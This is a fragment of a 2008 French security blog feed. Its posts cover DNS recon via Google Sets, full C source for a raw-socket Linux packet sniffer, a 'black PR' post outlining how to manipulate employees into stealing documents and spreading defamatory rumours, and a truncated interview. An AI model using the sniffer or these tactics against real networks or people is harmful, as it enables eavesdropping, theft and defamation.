href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3045639074572435596'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/05/ghost-vuln-bhooooooooooo.html' title='Ghost vuln... bhooooooooooo!!'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-8607433564334617947</id><published>2008-05-11T13:23:00.003+02:00</published><updated>2008-05-11T14:10:48.440+02:00</updated><title type='text'>exploration réseau : Goolge rules again!</title><content type='html'>&lt;div style="text-align: justify;"&gt;En traînant sur le site de "Johnny I hack stuff" (&lt;a href="http://johnny.ihackstuff.com/"&gt;http://johnny.ihackstuff.com&lt;/a&gt;), monsieur &lt;a href="http://johnny.ihackstuff.com/ghdb.php"&gt;Google hacking&lt;/a&gt;, je suis tombé sur un script perl de découverte réseau vraiment original! Ecrit par "Jimmy Neutron", il permet d'effectuer une découverte réseau active à l'aide de Google et du protocole DNS.&lt;br /&gt;Ce script prend en argument deux mots clefs et un nom de domaine. Les deux mots clefs sont soumis à Google, qui va renvoyer d'autres mots proches.&lt;br /&gt;Pour ceux qui ne connaissent pas &lt;a href="http://labs.google.com/sets"&gt;Google sets&lt;/a&gt; : il s'agit d'un programme qui pour une suite de mots renvoie des mots proches (ainsi, avec en entrée Volta et Galilée, on obtient la liste suivante :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table summary="List of items which may be members of your set, one item per row" align="center" border="0" cellpadding="8%" cellspacing="2"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color: rgb(230, 242, 234);" nowrap="nowrap" valign="top" width="300"&gt;&lt;center&gt;&lt;b&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Arial,sans-serif;" &gt;Predicted Items&lt;/span&gt;&lt;/b&gt;&lt;/center&gt;     &lt;/td&gt;   &lt;/tr&gt;     &lt;tr&gt;    &lt;td style="background-color: rgb(249, 244, 223);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=galileo"&gt;galileo&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(255, 249, 228);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=volta"&gt;volta&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(249, 244, 223);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=newton"&gt;newton&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(255, 249, 228);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=torricelli"&gt;torricelli&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(249, 244, 223);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=fermi"&gt;fermi&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(255, 249, 228);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=fulton"&gt;fulton&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(249, 244, 223);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=marconi"&gt;marconi&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(255, 249, 228);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=spallanzani"&gt;spallanzani&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;      &lt;tr&gt;    &lt;td style="background-color: rgb(249, 244, 223);" valign="top"&gt;&lt;center&gt;&lt;span style="font-family:Arial,sans-serif;"&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=rubbia"&gt;rubbia&lt;/a&gt;&lt;/span&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ensuite, des requêtes DNS sont effectuées sur les noms d'hôtes construits à partir des résultats de Google et du nom de domaine.&lt;br /&gt;&lt;br /&gt;Une carte du réseau peut alors être établie en fonction de l'aboutissement ou non des requêtes DNS.&lt;br /&gt;Le concept, s'il est simple, est également très ingénieux!&lt;br /&gt;Le script est disponible ici : &lt;a href="http://johnny.ihackstuff.com/downloads/task,doc_download/gid,26"&gt;http://johnny.ihackstuff.com/downloads/task,doc_download/gid,26&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vous trouverez d'autres outils dans la &lt;a href="http://johnny.ihackstuff.com/downloads"&gt;section download&lt;/a&gt; du site, dont une version windows du programme décrit ici.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-8607433564334617947?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/8607433564334617947/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=8607433564334617947&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8607433564334617947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8607433564334617947'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/05/exploration-rseau-goolge-rules-again.html' title='exploration réseau : Goolge rules again!'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-7887795797183180559</id><published>2008-05-03T19:26:00.009+02:00</published><updated>2008-05-03T21:02:39.752+02:00</updated><title type='text'>Coder un sniffer sous Linux</title><content type='html'>Cela faisait un moment que je voulais me coder un petit sniffer basique sous Gnu/Linux. C'est chose faite avec le petit code suivant.&lt;br /&gt;Il reconnaît pour l'instant les trames TCP, UDP et ARP mais est simple à faire évoluer.&lt;br /&gt;Le principe est simple, on ouvre une raw socket (SOCK_RAW) puis on la passe en mode promiscuous ("accepter toutes les données qui passent par l'interface réseau choisie"). Ensuite, plus qu'à lire paquet par paquet, puis parser les headers pour déterminer le protocole auquel nous avons à faire.&lt;br /&gt;&lt;br /&gt;Voici le code. (&lt;a href="http://www.developing.for.free.fr/prog/sniffer.c"&gt;Fichier .c&lt;/a&gt;)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;/**&lt;br /&gt;* @File sniffer.c&lt;br /&gt;* @brief sniff network traffic&lt;br /&gt;*&lt;br /&gt;* @author Hth http://hatch-the-hitch.blogspot.com&lt;br /&gt;* @date  samedi 3 mai 2008, 00:31:21 (UTC+0200)&lt;br /&gt;*&lt;br /&gt;* version : &amp;lt;0.1 alpha&lt;br /&gt;*&lt;br /&gt;* gcc -o sniff sniffer.c -pedantic&lt;br /&gt;*&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;/* std */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;/* usual networking */&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;/* low level networking */&lt;br /&gt;#include &amp;lt;sys/ioctl.h&amp;gt;&lt;br /&gt;#include &amp;lt;net/if.h&amp;gt;&lt;br /&gt;#include &amp;lt;netpacket/packet.h&amp;gt;&lt;br /&gt;#include &amp;lt;net/ethernet.h&amp;gt;&lt;br /&gt;/* headers paquets */&lt;br /&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/if_ether.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/ip.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/udp.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/tcp.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;typedef struct {&lt;br /&gt;char * ifaceName;&lt;br /&gt;int sock;&lt;br /&gt;unsigned long max_recv;&lt;br /&gt;struct sockaddr_ll device;&lt;br /&gt;} param_t;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* --- PROTOTYPES --- */&lt;br /&gt;char argumentManagement ( int argc, char **argv, param_t * parameters );&lt;br /&gt;void initParams ( param_t * parameters );&lt;br /&gt;char checkParams ( param_t * parameters );&lt;br /&gt;void usage ( void );&lt;br /&gt;char initSniff ( param_t * parameters );&lt;br /&gt;void loop ( param_t * parameters );&lt;br /&gt;int getPacketType ( unsigned char * packet );&lt;br /&gt;void printOutTCP ( unsigned char * packet );&lt;br /&gt;void printOutUDP ( unsigned char * packet );&lt;br /&gt;/* ------------------ */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main ( int argc, char **argv )&lt;br /&gt;{&lt;br /&gt;param_t parameters;&lt;br /&gt;&lt;br /&gt;/* Parse and check command line */&lt;br /&gt;if (argumentManagement(argc, argv, &amp;amp;parameters) &amp;lt; 0)&lt;br /&gt;{&lt;br /&gt;usage();&lt;br /&gt;exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;/* Prepare system for sniffing */&lt;br /&gt;if ( initSniff(&amp;amp;parameters) &amp;lt; 0 )&lt;br /&gt;{&lt;br /&gt;fprintf(stderr, "Can't prepare to sniff!\n");&lt;br /&gt;exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;/* Sniffing loop : May never end */&lt;br /&gt;loop(&amp;amp;parameters);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char argumentManagement ( int argc, char **argv, param_t * parameters )&lt;br /&gt;{&lt;br /&gt;int opt;&lt;br /&gt;&lt;br /&gt;while ( (opt = getopt(argc, argv, "hc:")) != -1 )&lt;br /&gt;{&lt;br /&gt;switch(opt)&lt;br /&gt;{&lt;br /&gt;/* exit after a specified number of packets received  */&lt;br /&gt;case 'c' : parameters-&amp;gt;max_recv = atol(optarg);&lt;br /&gt;  break;&lt;br /&gt;&lt;br /&gt;case 'h' :&lt;br /&gt;case '?' :&lt;br /&gt;default  : return -1;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;/* Non option arguments */&lt;br /&gt;/* IFace name */&lt;br /&gt;if (argv[optind] == NULL)&lt;br /&gt;return -2;&lt;br /&gt;else&lt;br /&gt;parameters-&amp;gt;ifaceName = argv[optind];&lt;br /&gt;&lt;br /&gt;/* Checkif required parameters have been given etc... */&lt;br /&gt;return checkParams(parameters);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void initParams ( param_t * parameters )&lt;br /&gt;{&lt;br /&gt;parameters-&amp;gt;ifaceName = NULL;&lt;br /&gt;parameters-&amp;gt;sock = -1;&lt;br /&gt;parameters-&amp;gt;max_recv = 0;&lt;br /&gt;memset(&amp;amp;parameters-&amp;gt;device, 0x00, sizeof(struct sockaddr_ll));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char checkParams ( param_t * parameters )&lt;br /&gt;{&lt;br /&gt;/* Check if required arguments have been specified */&lt;br /&gt;if ( (parameters-&amp;gt;ifaceName == NULL) )&lt;br /&gt;{&lt;br /&gt;fprintf(stderr, "No interface selected!\n");&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void usage ( void )&lt;br /&gt;{&lt;br /&gt;fprintf(stderr, "Usage : ./sniff [options] [interface]\n");&lt;br /&gt;fprintf(stderr, "options\n");&lt;br /&gt;fprintf(stderr, "\t-c [count]\t: stop after [count] packets received\n");&lt;br /&gt;fprintf(stderr, "\t[interface]\t: network iface from which to sniff (required!)\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char initSniff ( param_t * parameters )&lt;br /&gt;{&lt;br /&gt;struct ifreq ifr;&lt;br /&gt;&lt;br /&gt;/* Open raw socket, exit on failure */&lt;br /&gt;parameters-&amp;gt;sock = openRawSock();&lt;br /&gt;/* Folowing instructions set selected iface into promisc mode */&lt;br /&gt;strncpy(ifr.ifr_name, parameters-&amp;gt;ifaceName, IFNAMSIZ-1);&lt;br /&gt;&lt;br /&gt;if ( ioctl(parameters-&amp;gt;sock, SIOCGIFFLAGS, &amp;amp;ifr) &amp;lt; 0 )&lt;br /&gt;{&lt;br /&gt;close(parameters-&amp;gt;sock);&lt;br /&gt;perror("Flags");&lt;br /&gt;return -1;&lt;br /&gt;}&lt;br /&gt;ifr.ifr_flags |= IFF_PROMISC;&lt;br /&gt;&lt;br /&gt;if ( ioctl(parameters-&amp;gt;sock, SIOCSIFFLAGS, &amp;amp;ifr) &amp;lt; 0 )&lt;br /&gt;{&lt;br /&gt;perror("Can't turn into promiscuous mode");&lt;br /&gt;close(parameters-&amp;gt;sock);&lt;br /&gt;return -2;&lt;br /&gt;}&lt;br /&gt;/* --- -- --- */&lt;br /&gt;return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void loop ( param_t * parameters )&lt;br /&gt;{&lt;br /&gt;unsigned long nb_recv;&lt;br /&gt;unsigned char packet[4096];&lt;br /&gt;&lt;br /&gt;/* This loop will never end if no max_recv specified */&lt;br /&gt;for (nb_recv=1; ((nb_recv &amp;lt;= parameters-&amp;gt;max_recv) || !(parameters-&amp;gt;max_recv)); nb_recv++)&lt;br /&gt;{&lt;br /&gt;/* recv a packet */&lt;br /&gt;read(parameters-&amp;gt;sock, (char *)&amp;amp;packet, 4096);&lt;br /&gt;&lt;br /&gt;fprintf(stdout, "\n--] Packet #%lu\n", nb_recv);&lt;br /&gt;/* Add protocols and parsing functions here */&lt;br /&gt;switch(getPacketType(packet))&lt;br /&gt;{&lt;br /&gt;case IPPROTO_TCP : printOutTCP(packet);&lt;br /&gt;     break;&lt;br /&gt;&lt;br /&gt;case IPPROTO_UDP : printOutUDP(packet);&lt;br /&gt;     break;&lt;br /&gt;&lt;br /&gt;case ETH_P_ARP  : fprintf(stdout, "ARP request\n");&lt;br /&gt;     break;&lt;br /&gt;&lt;br /&gt;default    : fprintf(stdout, "Unrecognized packet\n");&lt;br /&gt;     break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(parameters-&amp;gt;sock);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int getPacketType ( unsigned char * packet )&lt;br /&gt;{&lt;br /&gt;/* Read type of packet from ethernet header */&lt;br /&gt;struct ethhdr * eth;&lt;br /&gt;&lt;br /&gt;eth = (struct ethhdr *)packet;&lt;br /&gt;&lt;br /&gt;/* If protocol is IP : we select between TCP and UDP */&lt;br /&gt;if ( ntohs(eth-&amp;gt;h_proto) == ETH_P_IP )&lt;br /&gt;return getIPproto(packet);&lt;br /&gt;else&lt;br /&gt;return ntohs(eth-&amp;gt;h_proto);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int getIPproto ( char * packet )&lt;br /&gt;{&lt;br /&gt;/* Look into IP header to know if this is UDP or TCP */&lt;br /&gt;struct iphdr * ip=(struct iphdr *)(packet + sizeof(struct ethhdr));&lt;br /&gt;&lt;br /&gt;return (ip-&amp;gt;protocol);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* This function prints out informations from a TCP packet */&lt;br /&gt;void printOutTCP ( unsigned char * packet )&lt;br /&gt;{&lt;br /&gt;unsigned char *src, *dst;&lt;br /&gt;struct iphdr * ip;&lt;br /&gt;struct tcphdr * tcp;&lt;br /&gt;&lt;br /&gt;/* put a pointer on IP header */&lt;br /&gt;ip = (struct iphdr *)(packet + sizeof(struct ethhdr));&lt;br /&gt;/* the same way for TCP */&lt;br /&gt;tcp = (struct tcphdr *)(packet + sizeof(struct ethhdr) + sizeof(struct iphdr));&lt;br /&gt;&lt;br /&gt;/* Used to print out IP addresses */&lt;br /&gt;src = (unsigned char *)&amp;amp;(ip-&amp;gt;saddr);&lt;br /&gt;dst = (unsigned char *)&amp;amp;(ip-&amp;gt;daddr);&lt;br /&gt;/* --- */&lt;br /&gt;fprintf(stdout, "TCP frame\n");&lt;br /&gt;fprintf(stdout, "From\t: %u.%u.%u.%u (port : %u)\n", src[0], src[1], src[2], src[3], ntohs(tcp-&amp;gt;source));&lt;br /&gt;fprintf(stdout, "To\t: %u.%u.%u.%u (port : %u)\n", dst[0], dst[1], dst[2], dst[3], ntohs(tcp-&amp;gt;dest));&lt;br /&gt;fprintf(stdout, "TTL\t: %d\n", ip-&amp;gt;ttl);&lt;br /&gt;fprintf(stdout, "Flags\t: SYN=%d | ACK=%d | RST=%d | URG=%d | FIN=%d\n",tcp-&amp;gt;syn, tcp-&amp;gt;ack, tcp-&amp;gt;rst, tcp-&amp;gt;urg, tcp-&amp;gt;fin);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* This function prints out informations from a UDP packet */&lt;br /&gt;void printOutUDP ( unsigned char * packet )&lt;br /&gt;{&lt;br /&gt;unsigned char *src, *dst;&lt;br /&gt;struct iphdr * ip;&lt;br /&gt;struct udphdr * udp;&lt;br /&gt;&lt;br /&gt;/* put a pointer on IP header */&lt;br /&gt;ip = (struct iphdr *)(packet + sizeof(struct ethhdr));&lt;br /&gt;/* the same way for UDP */&lt;br /&gt;udp = (struct udphdr *)(packet + sizeof(struct ethhdr) + sizeof(struct iphdr));&lt;br /&gt;&lt;br /&gt;/* Used to print out IP addresses */&lt;br /&gt;src = (unsigned char *)&amp;amp;(ip-&amp;gt;saddr);&lt;br /&gt;dst = (unsigned char *)&amp;amp;(ip-&amp;gt;daddr);&lt;br /&gt;/* --- */&lt;br /&gt;fprintf(stdout, "UDP frame\n");&lt;br /&gt;fprintf(stdout, "From\t: %u.%u.%u.%u (port : %u)\n", src[0], src[1], src[2], src[3], ntohs(udp-&amp;gt;source));&lt;br /&gt;fprintf(stdout, "To\t: %u.%u.%u.%u (port : %u)\n", dst[0], dst[1], dst[2], dst[3], ntohs(udp-&amp;gt;dest));&lt;br /&gt;fprintf(stdout, "TTL\t: %d\n", ip-&amp;gt;ttl);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* Open RAW socket, receive every packet that crosses our netdevice */&lt;br /&gt;int openRawSock ( void )&lt;br /&gt;{&lt;br /&gt;int fd;&lt;br /&gt;&lt;br /&gt;if ( (fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) &amp;lt; 0 )&lt;br /&gt;{&lt;br /&gt;perror("Socket");&lt;br /&gt;exit(EXIT_FAILURE);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;return fd;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Voilà!! En espérant qu'il pourra servir à quelqu'un. Je vous laisse le soin de refaire l'indentation détruite par l'éditeur wysiwyg! :)&lt;br /&gt;Il aurait été possible d'utiliser la &lt;a href="http://www.tcpdump.org/"&gt;libPCAP&lt;/a&gt; (Packet CAPture) pour coder quelque chose de bien plus puissant, elle sert aussi à accéder aux basses couches du réseau, pas très utile sous Gnu/Linux où cela se fait bien "à la main", mais indispensable sous Windows!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-7887795797183180559?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/7887795797183180559/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=7887795797183180559&amp;isPopup=true' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/7887795797183180559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/7887795797183180559'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/05/coder-un-sniffer-sous-linux.html' title='Coder un sniffer sous Linux'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-5433917051409272458</id><published>2008-05-02T18:12:00.008+02:00</published><updated>2008-12-12T09:40:21.988+01:00</updated><title type='text'>Relations publiques négatives : Pwnez l'Humain!</title><content type='html'>&lt;div style="text-align: justify;"&gt;"Black PR" (black public relations) ou "negative PR" (cette seconde expression est celle retenue pour les traductions françaises) consiste à s'attaquer à l'image d'une personne ou d'une société (normalement vos rivaux).&lt;br /&gt;Science (art?) proche de l'espionnage industriel, les relations publiques négatives sont étroitement liées à la sécurité informatique du fait que la connaissance des petits secrets de la "cible" constitue la première étape du processus offensif.&lt;br /&gt;&lt;br /&gt;A partir de là, tous les coups sont permis (en pratique hein!!) : campagne de diffamation, débauchage des employés, entrave à l'embauche, paralysie des systèmes d'information de la cible, vol d'informations sur les ordinateurs de la cible...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ch7WAv-Jmeo/SBtaswcbzjI/AAAAAAAAAGc/Jso2JcVuep4/s1600-h/black_ninja.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_ch7WAv-Jmeo/SBtaswcbzjI/AAAAAAAAAGc/Jso2JcVuep4/s320/black_ninja.jpg" alt="" id="BLOGGER_PHOTO_ID_5195846320066907698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Les articles rédigés par des professionnels de black PR font froid dans le dos : chantage, manipulation, harcèlement, humiliations etc... Le seul lien avec le hacking est ici une ambiance digne d'un roman CyberPunk!&lt;br /&gt;En fait ce n'est pas vrai, il y a par exemple le fait que de telles attaques obligent la partie offensive à détenir un contrôle total sur l'environnement cible, un peu comme les connaissances requises pour attaquer un soft/hôte/réseau.&lt;br /&gt;&lt;br /&gt;Les analogies sont en réalité très nombreuses : Comparons une attaque black PR contre une entreprise et une attaque d'un réseau informatique.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Recon&lt;/span&gt;&lt;/span&gt; : Dans un cas comme dans l'autre, l'environnement doit être défini au mieux. Ici, on recherchera des personnalités/profils susceptible d'êtres utilisés pour récupérer des informations secrètes ou servir d'intermédiaire pour toucher un autre employé. Les "vulnérabilités" sont le besoin d'argent, la rancoeur/frustration, une trop haute estime de soi, le besoin insatiable de reconnaissance etc...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Exploit&lt;/span&gt;&lt;/span&gt; : La encore : aucune limite, tout dépend des objectifs fixés. Supposons qu'il ait été prévu que la campagne de discréditation de notre cible se fasse par la révélation au public de documents comptables, il nous faudra obtenir ces documents. Après avoir pris au piège certains employés minutieusement sélectionnés, ils seront amenés à dérober les documents.&lt;br /&gt;Dans ce cas là comme dans d'autres, les rumeurs générées peuvent être diffusées par l'intermédiaire de journaux type "tabloids", ou sur le net.&lt;br /&gt;Générez un buzz et le travail est fait!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;span style="color: rgb(255, 255, 255);"&gt;Forensic&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;: L'entreprise attaquée pourrait bien tenter de retrouver l'origine des rumeurs, néanmoins il est évident que tracer une rumeur sur le net demande vite plus d'efforts que la reconstruction d'une bonne image à grand renfort de publicité (et donc d'argent).&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;Protection&lt;/span&gt;&lt;/span&gt; : Il existe des sociétés spécialisées dans la protection contre les attaques visant l'image. Ivana "Ink" Kalay, du site &lt;a href="http://www.spinhunters.org/"&gt;www.spinhunters.org&lt;/a&gt; en dirige une, basée en Angleterre. La encore le rapport avec la sécurité informatique est trivial : spinhunters est associé au GnuCitizen (on va encore dire que je ne parle que d'eux!)&lt;br /&gt;&lt;br /&gt;Rapide présentation de ce qui se trame dans la cour des grands. Le scandale dans lequel fut impliqué Max Mosley constitue un exemple de ce à quoi peut ressembler une campagne de relations publiques négatives du point de vue extérieur.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-5433917051409272458?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/5433917051409272458/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=5433917051409272458&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/5433917051409272458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/5433917051409272458'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/05/relations-publiques-ngatives-pwnez.html' title='Relations publiques négatives : Pwnez l&apos;Humain!'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_ch7WAv-Jmeo/SBtaswcbzjI/AAAAAAAAAGc/Jso2JcVuep4/s72-c/black_ninja.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-6073488477229719522</id><published>2008-04-23T15:54:00.005+02:00</published><updated>2008-04-23T18:06:02.687+02:00</updated><title type='text'>Quelques questions à Ronald van den Heetkamp (яoиald)</title><content type='html'>&lt;div style="text-align: justify;"&gt;Ronald van den Heetkamp est l'auteur du "&lt;a href="http://www.0x000000.com/"&gt;Hacker Webzine&lt;/a&gt;", ex-membre du GnuCitizen, auteur de nombreux &lt;a href="http://www.0x000000.com/index.php?%21=2"&gt;projets&lt;/a&gt;. Ses recherches sont principalement axées sur les applications web et (surtout) la sécurité des navigateurs.&lt;br /&gt;Ceci est la traduction de l'entretient que j'ai pu avoir avec lui. La version originale est disponible également (&lt;a href="http://www.developing.for.free.fr/ronald.html"&gt;&lt;span style="font-weight: bold;"&gt;original english version&lt;/span&gt;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;--] Un langage de prédilection?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Je serais tenté de dire "n'importe lequel qui fasse le boulot", néanmoins j'aime vraiment PHP car il est construit sur le C, ou en réalité c'est même une version scriptable du C. cela me permet d'écrire rapidement des programmes qui font autant de choses que des codes en C. Je n'ai pas le temps de compiler des programmes. J'écris et je lance. C'est vraiment proche du C, c'est pour ça que je l'apprécie.&lt;br /&gt;Javascript est également intéressant. En tant que langage précompilé, il est très rapide à l'exécution, et également très dur à apprendre. Si il y a un langage (de script) à la fois très compréhensible mais dont l'apprentissage des mécanismes internes et externes est complexe, c'est vraiment JavaScript. Ça peut 